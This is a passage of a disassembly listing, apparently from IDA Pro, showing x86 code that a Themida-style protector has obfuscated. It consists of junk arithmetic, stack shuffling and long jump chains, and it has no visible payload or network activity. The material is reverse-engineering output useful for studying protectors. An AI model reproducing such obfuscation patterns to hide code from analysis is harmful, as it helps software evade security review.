; FUNCTION CHUNK AT 00572AA1 SIZE 000000D4 BYTES
; FUNCTION CHUNK AT 00572BA2 SIZE 00000060 BYTES
; FUNCTION CHUNK AT 00572C3F SIZE 0000001B BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_571C96
; ---------------------------------------------------------------------------


loc_562AC2:				; CODE XREF: sub_562ABA+750Fj
		mov	ebp, 266831B6h
		push	ebx
		push	0FFFFFFFFh
		pop	ebx
		sub	ebp, ebx
		jmp	loc_570B1B
; ---------------------------------------------------------------------------


loc_562AD5:				; CODE XREF: sub_562ABA+C898j
		sub	al, bl
		add	al, 5
		sub	al, 3
		push	9Ch
		mov	[esp+0], ecx
		jmp	loc_568561
; ---------------------------------------------------------------------------


loc_562AE8:				; CODE XREF: sub_562ABA-E81j
		add	ebx, eax
		pop	eax
		jmp	loc_560CD9
; ---------------------------------------------------------------------------


loc_562AF0:				; CODE XREF: sub_562ABA+F25Fj
		mov	cl, 0DCh
		push	edx
		jmp	loc_565798
; ---------------------------------------------------------------------------


loc_562AF8:				; CODE XREF: sub_562ABA-3D51j
		xchg	eax, [esp+16h+var_16]
		jmp	loc_55E599
; ---------------------------------------------------------------------------


loc_562B00:				; CODE XREF: sub_562ABA+A242j
		push	edi
		push	6539472Ch
		jmp	loc_56141E
; ---------------------------------------------------------------------------


loc_562B0B:				; CODE XREF: sub_5721EF+13j
		mov	ecx, esp
		jmp	loc_5671E3
; ---------------------------------------------------------------------------


loc_562B12:				; CODE XREF: sub_562ABA-30B0j
		mov	eax, 47513D35h
		neg	eax
		add	eax, 776517BBh
		shl	eax, 4
		dec	eax
		jmp	loc_56D498
; ---------------------------------------------------------------------------
		push	edx
		push	esp
		jmp	loc_56E910
; ---------------------------------------------------------------------------


loc_562B2E:				; CODE XREF: sub_562ABA+199Ej
		mov	edx, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_55F30A
; ---------------------------------------------------------------------------


loc_562B3C:				; CODE XREF: sub_562ABA+7A8Fj
		shl	ecx, 8
		not	ecx
		xor	ecx, 0F1EABB87h
		mov	edx, ecx
		jmp	loc_5705B5
; ---------------------------------------------------------------------------


loc_562B4E:				; CODE XREF: sub_562ABA+D8A8j
		sub	esi, 1E0F5BA4h
		add	esi, edi
		add	esi, 1E0F5BA4h
		pop	edi
		push	eax
		mov	eax, 4
		add	esi, 4510091Fh
		jmp	loc_566C0A
; ---------------------------------------------------------------------------


loc_562B6E:				; CODE XREF: sub_562ABA+1047j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+1Ah+var_1A]
		pop	esp
		mov	[esp+16h+var_16], ebp
		jmp	loc_566D1C
; ---------------------------------------------------------------------------


loc_562B89:				; CODE XREF: sub_562ABA+816Dj
		pop	esp
		mov	[esp+12h+var_12], eax
		jmp	loc_55E39C
; ---------------------------------------------------------------------------


loc_562B92:				; CODE XREF: sub_562ABA+1F34j
		xor	edx, esi
		pop	esi
		jmp	loc_56BAE2
; ---------------------------------------------------------------------------


loc_562B9A:				; CODE XREF: sub_562ABA+5616j
		xchg	edx, [esp+0]
		pop	esp
		push	ebp
		jmp	loc_56C727
; ---------------------------------------------------------------------------


loc_562BA4:				; CODE XREF: sub_562ABA+5A87j
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+12h+var_12], edi
		jmp	loc_56AF0E
; ---------------------------------------------------------------------------


loc_562BB4:				; CODE XREF: sub_562ABA+C711j
		sub	ah, 6Ah
		add	bl, ah
		jmp	loc_560B54
; ---------------------------------------------------------------------------


loc_562BBE:				; CODE XREF: sub_562ABA+ACDBj
		push	189C4F62h
		pop	eax
		or	eax, 23A3258Dh
		jmp	loc_5663CB
; ---------------------------------------------------------------------------


loc_562BCE:				; CODE XREF: sub_562ABA+9FA9j
		sub	ebx, 29C645D3h
		jmp	loc_569CF7
; ---------------------------------------------------------------------------


loc_562BD9:				; CODE XREF: sub_562ABA+243j
		add	eax, ecx
		jmp	loc_561B13
; ---------------------------------------------------------------------------


loc_562BE0:				; CODE XREF: sub_562ABA+9C7Cj
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		not	edx
		jmp	loc_56CA68
; ---------------------------------------------------------------------------


loc_562BED:				; CODE XREF: sub_562ABA+A14Ej
		add	esi, edx
		pop	edx
		pop	edi
		jmp	loc_56D553
; ---------------------------------------------------------------------------


loc_562BF6:				; CODE XREF: sub_562ABA+DC7j
		not	[esp+0Ah+var_C+2]
		pop	ebx
		jmp	loc_5685AC
; ---------------------------------------------------------------------------


loc_562BFF:				; CODE XREF: sub_562ABA+C2A1j
		add	cl, 15h
		shl	cl, 7
		shr	cl, 7
		jmp	loc_570367
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+6+var_8+2]
		jmp	loc_56345D
; ---------------------------------------------------------------------------


loc_562C16:				; CODE XREF: sub_55E972+10j
		mov	ecx, [esp+6+var_8+2]
		jmp	loc_560242
; ---------------------------------------------------------------------------


loc_562C1E:				; CODE XREF: sub_562ABA-287Dj
		mov	[esp+0], edi
		jmp	loc_5698C4
; ---------------------------------------------------------------------------


loc_562C26:				; CODE XREF: sub_562ABA+796Aj
		mov	eax, 41297525h
		jmp	loc_568F7E
; ---------------------------------------------------------------------------


loc_562C30:				; CODE XREF: sub_562ABA+6D41j
		pop	edi
		add	ecx, edi
		jmp	loc_569F36
; ---------------------------------------------------------------------------


loc_562C38:				; CODE XREF: sub_562ABA+74Ej
		pop	edx
		add	edx, 4
		jmp	loc_5664C1
; ---------------------------------------------------------------------------


loc_562C44:				; CODE XREF: sub_562ABA+5CAAj
		mov	cl, 0BCh
		mov	ah, 0A6h
		xor	ah, cl
		pop	ecx
		mov	dl, ah
		jmp	loc_5687E5
; ---------------------------------------------------------------------------


loc_562C52:				; CODE XREF: sub_562ABA+9C48j
		or	eax, edx
		pop	edx
		or	eax, 55B3A21h
		neg	eax
		or	eax, 1F660BB1h
		sub	eax, 0FF66CBB7h
		add	ebx, 52F370AAh
		jmp	loc_56DAE0
; ---------------------------------------------------------------------------


loc_562C71:				; CODE XREF: sub_562ABA+6867j
		add	ebp, 4
		xchg	ebp, [esp-12h+arg_C+2]
		jmp	loc_561912
; ---------------------------------------------------------------------------


loc_562C7F:				; CODE XREF: sub_562ABA+AA8Aj
		add	edx, 780C17CAh
		push	ebp
		mov	ebp, 582A694Bh
		jmp	loc_56208E
; ---------------------------------------------------------------------------


loc_562C90:				; CODE XREF: sub_562ABA-1EC0j
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		jmp	loc_55FC78
; ---------------------------------------------------------------------------


loc_562C9B:				; CODE XREF: sub_562ABA+B1C5j
		mov	[esp+8+var_8], edi
		mov	edi, 2
		push	edx
		mov	edx, 45B809FFh
		add	ebp, 7B9B5CC1h
		jmp	loc_565B36
; ---------------------------------------------------------------------------


loc_562CB4:				; CODE XREF: sub_562ABA+BF68j
		add	esp, 4
		sub	esp, 4
		jmp	loc_572496
; ---------------------------------------------------------------------------


loc_562CC2:				; CODE XREF: sub_562ABA-360Fj
		pop	eax
		jmp	loc_571F2C
; ---------------------------------------------------------------------------


loc_562CC8:				; CODE XREF: sub_562ABA+7093j
		or	cl, al
		pop	eax
		push	dx
		mov	dh, 0C2h
		sub	cl, dh
		pop	dx
		push	edx
		mov	dh, cl
		push	eax
		mov	ah, dh
		mov	bl, ah
		pop	eax
		pop	edx
		pop	ecx
		jmp	loc_571284
; ---------------------------------------------------------------------------


loc_562CE3:				; CODE XREF: sub_562ABA+1B14j
		not	bh
		xchg	bh, ch
		sub	ch, 6
		sub	esp, 4
		mov	[esp+12h+var_12], ecx
		jmp	loc_560E44
; ---------------------------------------------------------------------------


loc_562CF8:				; CODE XREF: sub_562ABA+178Aj
		sub	eax, 10341F3Dh
		jmp	loc_562BD9
; ---------------------------------------------------------------------------


loc_562D02:				; CODE XREF: sub_562ABA+8870j
		add	ebx, edi
		add	ebx, 4CC40DE9h
		mov	edi, [esp+12h+var_12]
		add	esp, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_56B2D6
; ---------------------------------------------------------------------------


loc_562D18:				; CODE XREF: sub_562ABA+2486j
		add	bx, 69FCh
		pop	esi
		jmp	sub_55F9E0
; ---------------------------------------------------------------------------
unk_562D23	db    0			; CODE XREF: sub_562ABA+D773j
; ---------------------------------------------------------------------------
		fsubr	dword ptr [edi+eax*4]
		jmp	loc_567532
; ---------------------------------------------------------------------------


loc_562D2C:				; CODE XREF: sub_562ABA+A760j
		pop	esi
		shl	ebp, 2
		jmp	loc_560399
; ---------------------------------------------------------------------------


loc_562D35:				; CODE XREF: sub_562ABA+7F1Fj
		push	[esp+2+var_4+2]
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_5699DD
; ---------------------------------------------------------------------------


loc_562D43:				; CODE XREF: sub_562ABA-1C9Bj
		mov	edx, 4
		jmp	loc_56B154
; ---------------------------------------------------------------------------


loc_562D4D:				; CODE XREF: sub_562ABA+493Fj
		push	[esp+46h+var_46]
		push	[esp+4Ah+var_4A]
		mov	edx, [esp+4Eh+var_4E]
		jmp	loc_570D7D
; ---------------------------------------------------------------------------


loc_562D5B:				; CODE XREF: sub_562ABA-474j
		mov	ebp, 2773276Ah
		or	ebp, 28ED49CFh
		dec	ebp
		or	ebp, 38B40592h
		jmp	loc_5675DC
; ---------------------------------------------------------------------------


loc_562D72:				; CODE XREF: sub_562ABA+526j
		push	edi
		neg	[esp-4+arg_0]
		pop	edi
		jmp	sub_5627AB
; ---------------------------------------------------------------------------
		mov	eax, [esp-8+arg_4]
		push	ebx
		jmp	loc_5631AA
; ---------------------------------------------------------------------------


loc_562D85:				; CODE XREF: sub_562ABA+90A7j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		jmp	loc_55E667
; ---------------------------------------------------------------------------


loc_562D8D:				; CODE XREF: sub_562ABA+6DEBj
		mov	[esp-4+arg_0], edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		pop	edx
		mov	ebp, edi
		pop	edi
		add	esi, ebp
		pop	ebp
		xor	esi, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], esi
		xor	esi, [esp-0Ch+arg_8]
		pop	esp
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	small 1709h
		mov	word ptr [esp-0Eh+arg_8+2], ax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_562DBC:				; CODE XREF: sub_562ABA-320j
		mov	edi, [esp+46h+var_46]
		add	esp, 4
		jmp	loc_56FD50
; ---------------------------------------------------------------------------


loc_562DCA:				; CODE XREF: sub_562ABA+A4DEj
		mov	edx, [esp+42h+var_42]
		add	esp, 4
		mov	cl, al
		jmp	loc_5627C0
; ---------------------------------------------------------------------------


loc_562DD7:				; CODE XREF: sub_562ABA+54C3j
		add	ebp, 4
		xchg	ebp, [esp+3Eh+var_3E]
		pop	esp
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ecx
		mov	ecx, 4
		jmp	loc_56D2CC
; ---------------------------------------------------------------------------


loc_562DF1:				; CODE XREF: sub_562ABA+9F01j
		mov	[esp+3Eh+var_3E], edx
		jmp	loc_570C25
; ---------------------------------------------------------------------------


loc_562DF9:				; CODE XREF: sub_562ABA+61CDj
		dec	esi
		push	ebx
		push	edx
		mov	edx, 4B3B4731h
		mov	ebx, 8C1557BBh
		sub	ebx, edx
		pop	edx
		add	esi, ebx
		jmp	loc_55F4B0
; ---------------------------------------------------------------------------


loc_562E10:				; CODE XREF: sub_562ABA+6AB4j
		add	eax, ebx
		add	eax, 0CD91EF0h
		jmp	loc_561CF1
; ---------------------------------------------------------------------------


loc_562E1C:				; CODE XREF: sub_562ABA+E4Fj
		push	esi
		push	33DFh
		jmp	loc_561592
; ---------------------------------------------------------------------------


loc_562E27:				; CODE XREF: sub_562ABA+B4E1j
		xchg	edx, [esp+4Ah+var_4A]
		pop	esp
		xchg	eax, ebx
		push	8A7h
		jmp	loc_56370A
; ---------------------------------------------------------------------------


loc_562E36:				; CODE XREF: sub_562ABA+FDDAj
		add	bl, 5
		add	bl, 39h
		add	bl, 13h
		jmp	loc_56FEE2
; ---------------------------------------------------------------------------


loc_562E44:				; CODE XREF: sub_562ABA-E26j
		push	esp
		pop	edx
		jmp	loc_563EDC
; ---------------------------------------------------------------------------


loc_562E4B:				; CODE XREF: sub_562ABA+C1B4j
		pop	[esp+1Ah+var_1A]
		pop	ebp
		jmp	loc_560D6A
; ---------------------------------------------------------------------------


loc_562E54:				; CODE XREF: sub_562ABA+8E41j
		mov	[esp+12h+var_12], esp
		jmp	loc_563329
; ---------------------------------------------------------------------------


loc_562E5C:				; CODE XREF: sub_562ABA+590Aj
		add	edx, ecx
		jmp	loc_563420
; ---------------------------------------------------------------------------


loc_562E63:				; CODE XREF: sub_562ABA+C2C7j
		xor	ecx, 6893B51h
		inc	ecx
		shl	ecx, 7
		jmp	loc_56E614
; ---------------------------------------------------------------------------


loc_562E72:				; CODE XREF: sub_562ABA-4177j
		push	edi
		jmp	loc_565DE1
; ---------------------------------------------------------------------------


loc_562E78:				; CODE XREF: sub_562ABA+3952j
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		push	esi
		push	[esp+1Eh+var_1A]
		mov	esi, [esp+22h+var_22]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+26h+var_28+2]
		jmp	loc_564019
; ---------------------------------------------------------------------------


loc_562E99:				; CODE XREF: sub_562ABA+6678j
		push	ebp
		jmp	loc_56DDCB
; ---------------------------------------------------------------------------


loc_562E9F:				; CODE XREF: sub_562ABA-4379j
		pop	eax
		push	ecx
		mov	ecx, 6F7E30EEh
		neg	ecx
		jmp	loc_562846
; ---------------------------------------------------------------------------


loc_562EAD:				; CODE XREF: sub_562ABA+FF23j
		xor	ebp, edx
		pop	edx
		shr	ebp, 5
		add	ebp, 568728B6h
		add	ebp, 5487C50h
		sub	eax, ebp
		pop	ebp
		push	2CABh
		mov	[esp+1Eh+var_1E], ebx
		push	313D5676h
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
		sub	eax, 47E51A44h
		add	eax, 5C8075F9h
		add	eax, ebx
		sub	eax, 5C8075F9h
		add	eax, 47E51A44h
		mov	ebx, [esp+1Eh+var_1E]
		add	esp, 4
		jmp	loc_5632D7
; ---------------------------------------------------------------------------


loc_562EF9:				; CODE XREF: sub_562ABA+9770j
		pop	edx
		sub	bh, 7Dh
		pop	ax
		xor	bh, 95h
		sub	al, bh
		push	[esp+14h+var_16+2]
		jmp	loc_56F62F
; ---------------------------------------------------------------------------


loc_562F0C:				; CODE XREF: sub_562ABA+61Dj
		push	edi
		mov	edi, 2B69013Ch
		jmp	loc_5701A9
; ---------------------------------------------------------------------------


loc_562F17:				; CODE XREF: sub_562ABA+494Fj
		mov	[esp+1Ch+var_1E+2], ecx
		push	59DFh
		mov	[esp+20h+var_22+2], eax
		mov	eax, 4
		jmp	loc_56E04E
; ---------------------------------------------------------------------------


loc_562F2C:				; CODE XREF: sub_562ABA+2D9Bj
		mov	eax, ebp
		pop	ebp
		xor	ecx, eax
		mov	eax, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	3BC9h
		mov	[esp+1Ch+var_1E+2], ecx
		pop	esi
		pop	ecx
		jmp	loc_569849
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_562F4E:				; CODE XREF: sub_562ABA+5AE8j
		mov	bl, 0D8h
		push	edx
		mov	dh, 21h
		dec	dh
		jmp	loc_566A53
; ---------------------------------------------------------------------------


loc_562F5A:				; CODE XREF: sub_562ABA+420Ej
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], edi
		mov	edi, 403932E4h
		push	edx
		jmp	loc_562514
; ---------------------------------------------------------------------------


loc_562F77:				; CODE XREF: sub_562ABA+CB8Fj
		add	edx, 4
		xchg	edx, [esp+14h+var_16+2]
		pop	esp
		push	esi
		push	ecx
		mov	ecx, 2
		mov	esi, ecx
		jmp	loc_57086E
; ---------------------------------------------------------------------------


loc_562F8F:				; DATA XREF: Themida_:0055DDC4o
		push	eax
		push	ebp
		mov	ebp, 20D24F3Ch
		jmp	loc_56E6DE
; ---------------------------------------------------------------------------


loc_562F9B:				; CODE XREF: sub_562ABA-10F6j
		xor	ecx, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], ecx
		xor	ecx, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		mov	cx, word ptr [esp+6+var_8+2]
		jmp	loc_5707AF
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 2FCBh
		mov	word ptr [esp+8+var_8],	ax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_562FC1:				; CODE XREF: sub_562ABA+8D1Bj
		push	58F6h
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_5711BD
; ---------------------------------------------------------------------------


loc_562FCE:				; CODE XREF: sub_562ABA+FF52j
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_56FF92
; ---------------------------------------------------------------------------


loc_562FD6:				; CODE XREF: sub_562ABA+82C1j
		mov	ebp, 1C3A1DBAh
		inc	ebp
		shr	ebp, 1
		xchg	edi, ebp
		jmp	loc_562D72
; ---------------------------------------------------------------------------


loc_562FE5:				; CODE XREF: sub_562ABA+EDE4j
		push	ecx
		mov	cl, 0B6h
		sub	cl, 30h
		xor	cl, 0C9h
		xor	cl, 9Ah
		neg	cl
		push	bx
		jmp	loc_5630E4
; ---------------------------------------------------------------------------


loc_562FFA:				; CODE XREF: sub_562ABA+EA8Ej
		xor	ecx, [esp+12h+var_12]
		jmp	loc_571D8F
; ---------------------------------------------------------------------------


loc_563002:				; CODE XREF: sub_562ABA-1019j
		neg	eax
		add	eax, 2087709Dh
		jmp	loc_56F9B1
; ---------------------------------------------------------------------------


loc_56300E:				; CODE XREF: sub_562ABA+2AEDj
		mov	eax, 1B7D4A4Fh
		xor	eax, 14C5B2Dh
		mov	edx, eax
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		push	eax
		mov	eax, 212F1E69h
		sub	eax, 53586945h
		sub	eax, 5B167DE9h
		and	edx, eax
		pop	eax
		sub	edx, 5E94310Ch
		push	4396h
		mov	[esp+26h+var_28+2], ebp
		push	ebx
		push	ecx
		mov	ecx, 38281D5Dh
		sub	ecx, 1BDBD502h
		mov	ebx, ecx
		pop	ecx
		mov	ebp, 3CFEA1E7h
		sub	ebp, ebx
		pop	ebx
		and	ebp, 35416FC5h
		dec	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+2Ah+var_2C+2]
		jmp	loc_56E92B
; ---------------------------------------------------------------------------


loc_56307A:				; CODE XREF: sub_562ABA+8346j
		mov	eax, 4
		jmp	loc_564690
; ---------------------------------------------------------------------------


loc_563084:				; CODE XREF: sub_562ABA-237Bj
		add	esp, 4
		neg	edx
		sub	edx, 6D4609ACh
		shl	edx, 2
		shr	edx, 5
		sub	esp, 4
		jmp	loc_55F96A
; ---------------------------------------------------------------------------


loc_5630A3:				; CODE XREF: sub_562ABA+E962j
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		not	esi
		push	edi
		jmp	loc_566779
; ---------------------------------------------------------------------------


loc_5630B1:				; CODE XREF: sub_562ABA-D73j
		push	4F3Ch
		mov	[esp+0Ah+var_C+2], ecx
		mov	ecx, 758F59A6h
		and	ecx, 15F50AB3h
		shr	ecx, 6
		add	ecx, 0FFFFFFFFh
		xor	ecx, 59AB1030h
		sub	eax, 6BAC7D0Bh
		sub	eax, ecx
		jmp	loc_562F0C
; ---------------------------------------------------------------------------


loc_5630DC:				; CODE XREF: sub_562ABA+91CEj
		push	[esp+0Ah+var_C+2]
		jmp	loc_564472
; ---------------------------------------------------------------------------


loc_5630E4:				; CODE XREF: sub_562ABA+53Bj
		mov	bl, 7Fh
		xor	cl, bl
		pop	bx
		mov	al, cl
		pop	ecx
		inc	al
		or	al, 8Eh
		jmp	loc_561CFC
; ---------------------------------------------------------------------------


loc_5630F6:				; CODE XREF: sub_562ABA+4EE1j
		sub	ebp, 9920CDD3h
		add	edx, ebp
		push	[esp+0Ch+var_C]
		pop	ebp
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+8+var_8]
		xor	[esp+8+var_8], edx
		jmp	loc_56B1FC
; ---------------------------------------------------------------------------


loc_563116:				; CODE XREF: sub_562ABA-4069j
		mov	esi, 1146389Ch
		jmp	loc_56FF46
; ---------------------------------------------------------------------------


loc_563120:				; CODE XREF: sub_562ABA+5D45j
		push	eax
		jmp	loc_55E67E
; ---------------------------------------------------------------------------


loc_563126:				; CODE XREF: sub_562ABA+3D94j
		push	esp
		jmp	loc_56CDB2
; ---------------------------------------------------------------------------


loc_56312C:				; CODE XREF: sub_562ABA-4666j
		pop	esp
		mov	eax, [esp-0Ch+arg_8]
		jmp	loc_5627CE
; ---------------------------------------------------------------------------


loc_563135:				; CODE XREF: sub_562ABA+AF9Ej
		mov	esp, [esp-0Ch+arg_8]
		or	byte ptr [esp-0Ch+arg_8], al
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_563141:				; CODE XREF: sub_562ABA+6D8Aj
		sub	edi, esi
		pop	esi
		jmp	loc_56BB39
; ---------------------------------------------------------------------------


loc_563149:				; CODE XREF: sub_562ABA+237Aj
		push	6CCCh
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		push	[esp-8+arg_4]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		jmp	loc_56FBE6
; ---------------------------------------------------------------------------


loc_563174:				; CODE XREF: sub_562ABA+3C21j
		sub	ecx, 3FC63350h
		jmp	loc_564727
; ---------------------------------------------------------------------------


loc_56317F:				; CODE XREF: sub_562ABA+D628j
		add	esp, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		mul	ecx
		push	6BC2h
		jmp	loc_5719D7
; ---------------------------------------------------------------------------


loc_56319A:				; CODE XREF: sub_562ABA+4479j
		inc	eax
		jmp	loc_563ABA
; ---------------------------------------------------------------------------


loc_5631A0:				; CODE XREF: sub_562ABA+FF85j
		and	eax, ebx
		mov	ebx, [esp-0Ch+arg_8]
		jmp	loc_561B36
; ---------------------------------------------------------------------------


loc_5631AA:				; CODE XREF: sub_562ABA+2C6j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		push	edx
		jmp	loc_56B525
; ---------------------------------------------------------------------------


loc_5631BF:				; CODE XREF: sub_562ABA+4128j
		add	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 63B91380h
		jmp	loc_568177
; ---------------------------------------------------------------------------


loc_5631CD:				; CODE XREF: sub_562ABA+ACFj
		add	esp, 4
		push	bx
		push	eax
		push	ecx
		mov	cl, 0D6h
		sub	cl, 40h
		mov	al, cl
		pop	ecx
		xor	al, 0C1h
		add	al, 0A0h
		push	ecx
		jmp	loc_562579
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp+0], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5631F8:				; CODE XREF: sub_562ABA-EA5j
		pop	ecx
		neg	edi
		neg	edi
		jmp	loc_56B938
; ---------------------------------------------------------------------------


loc_563202:				; CODE XREF: sub_562ABA+97F3j
		pop	[esp+0Ch+var_C]
		pop	esp
		push	edx
		push	esp
		jmp	loc_562C38
; ---------------------------------------------------------------------------


loc_56320D:				; CODE XREF: sub_562ABA+3621j
		mov	ebp, 33447A3Fh
		or	edi, ebp
		pop	ebp
		dec	edi
		push	ebx
		jmp	loc_5634B6
; ---------------------------------------------------------------------------


loc_56321C:				; CODE XREF: sub_562ABA+A076j
		sub	edx, 733B0698h
		add	edx, edi
		add	edx, 733B0698h
		sub	edx, 5F4E67E9h
		jmp	loc_572A87
; ---------------------------------------------------------------------------


loc_563235:				; CODE XREF: sub_562ABA-3EA4j
		xor	eax, 764F1BC9h
		sub	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		sub	ebx, esi
		add	ebx, 1A172773h
		add	ebx, 3D786091h
		sub	esp, 4
		mov	[esp+0], ebp
		push	edi
		mov	edi, 6BEA4474h
		jmp	loc_56BECB
; ---------------------------------------------------------------------------


loc_563264:				; CODE XREF: sub_562ABA+BE94j
		push	eax
		push	esp
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_561EDA
; ---------------------------------------------------------------------------


loc_56326F:				; CODE XREF: sub_562ABA+8592j
		mov	si, bx
		pop	ebx
		jmp	loc_57061A
; ---------------------------------------------------------------------------


loc_563278:				; CODE XREF: sub_562ABA+E7A7j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		sub	esp, 4
		mov	[esp+36h+var_36], ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], esi
		jmp	loc_56AA99
; ---------------------------------------------------------------------------


loc_563295:				; CODE XREF: sub_562ABA+A63j
		sub	ecx, 0AB8FFF96h
		jmp	loc_561C13
; ---------------------------------------------------------------------------


loc_5632A0:				; CODE XREF: sub_562ABA+FD01j
		mov	edi, edx
		push	[esp+36h+var_36]
		pop	edx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_56D9DA
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5632C2:				; CODE XREF: sub_562ABA+B26Ej
		add	bh, cl
		mov	cx, word ptr [esp+32h+var_32]
		add	esp, 2
		add	al, bh
		pop	ebx
		sub	al, 0D1h
		sub	al, dl
		jmp	loc_56F26A
; ---------------------------------------------------------------------------


loc_5632D7:				; CODE XREF: sub_562ABA+43Aj
		sub	eax, ebx
		sub	eax, 313D5676h
		jmp	loc_57207E
; ---------------------------------------------------------------------------


loc_5632E3:				; CODE XREF: sub_562ABA+BBDCj
		push	edx
		jmp	sub_5722B7
; ---------------------------------------------------------------------------


loc_5632E9:				; CODE XREF: sub_561F0E+17j
		xchg	ebp, [esp+1Eh+var_1E]
		pop	esp
		pop	[esp+1Ah+var_1A]
		mov	esp, [esp+16h+var_16]
		bswap	eax
		push	3E28h
		mov	[esp+1Ah+var_1A], eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_563302:				; CODE XREF: sub_562ABA+9D1Fj
		neg	ebp
		jmp	loc_5729AA
; ---------------------------------------------------------------------------


loc_563309:				; CODE XREF: sub_562ABA+4468j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56330E:				; CODE XREF: sub_562ABA+D551j
		pop	ecx
		sub	ecx, eax
		push	[esp+16h+var_16]
		jmp	loc_56A129
; ---------------------------------------------------------------------------


loc_563319:				; CODE XREF: sub_562ABA+439Fj
		mov	esi, 4
		sub	edi, 7EB9621Bh
		jmp	loc_560354
; ---------------------------------------------------------------------------


loc_563329:				; CODE XREF: sub_562ABA+39Dj
		push	edi
		mov	edi, 4
		add	[esp+16h+var_12], edi
		mov	edi, [esp+16h+var_16]
		add	esp, 4
		push	[esp+12h+var_12]
		pop	eax
		add	esp, 4
		push	749Dh
		mov	[esp+12h+var_12], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+12h+var_12]
		pop	esp
		jmp	loc_56511E
; ---------------------------------------------------------------------------


loc_56335B:				; CODE XREF: sub_562ABA-1D70j
		mov	edx, [esp+2Ah+var_2C+2]
		push	2E57h
		mov	[esp+0], esi
		mov	esi, esp
		jmp	loc_55E9F5
; ---------------------------------------------------------------------------


loc_56336D:				; CODE XREF: sub_562ABA+C4F1j
		add	edx, eax
		jmp	loc_570826
; ---------------------------------------------------------------------------


loc_563374:				; CODE XREF: sub_562ABA+BB0j
		or	esi, 44C741E6h
		push	ecx
		mov	ecx, 305F3B40h
		xor	ecx, 1C3362Bh
		add	ecx, 8A8CAE5Eh
		sub	esi, ecx
		pop	ecx
		xor	edi, esi
		jmp	loc_56642F
; ---------------------------------------------------------------------------


loc_563396:				; CODE XREF: sub_562ABA+F3CCj
		add	[esp+2Eh+var_2C+2], 52FB71CBh
		add	[esp+2Eh+var_2C+2], eax
		sub	[esp+2Eh+var_2C+2], 52FB71CBh
		add	[esp+2Eh+var_2C+2], 14AA2F0Eh
		mov	eax, [esp+0]
		sub	esp, 4
		mov	[esp+32h+var_32], edi
		jmp	loc_56A8FA
; ---------------------------------------------------------------------------


loc_5633C3:				; CODE XREF: sub_562ABA+587Ej
		mov	[esp+32h+var_32], esp
		add	[esp+32h+var_32], 4
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		jmp	loc_566B51
; ---------------------------------------------------------------------------


loc_5633E8:				; CODE XREF: sub_562ABA-4413j
		xor	ecx, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], ecx
		jmp	loc_570D4C
; ---------------------------------------------------------------------------


loc_5633F3:				; CODE XREF: sub_562ABA+C650j
		pop	eax
		xor	eax, 3D893D67h
		jmp	loc_56CA20
; ---------------------------------------------------------------------------


loc_5633FE:				; CODE XREF: sub_562ABA+E71j
		mov	esi, ecx
		push	esi
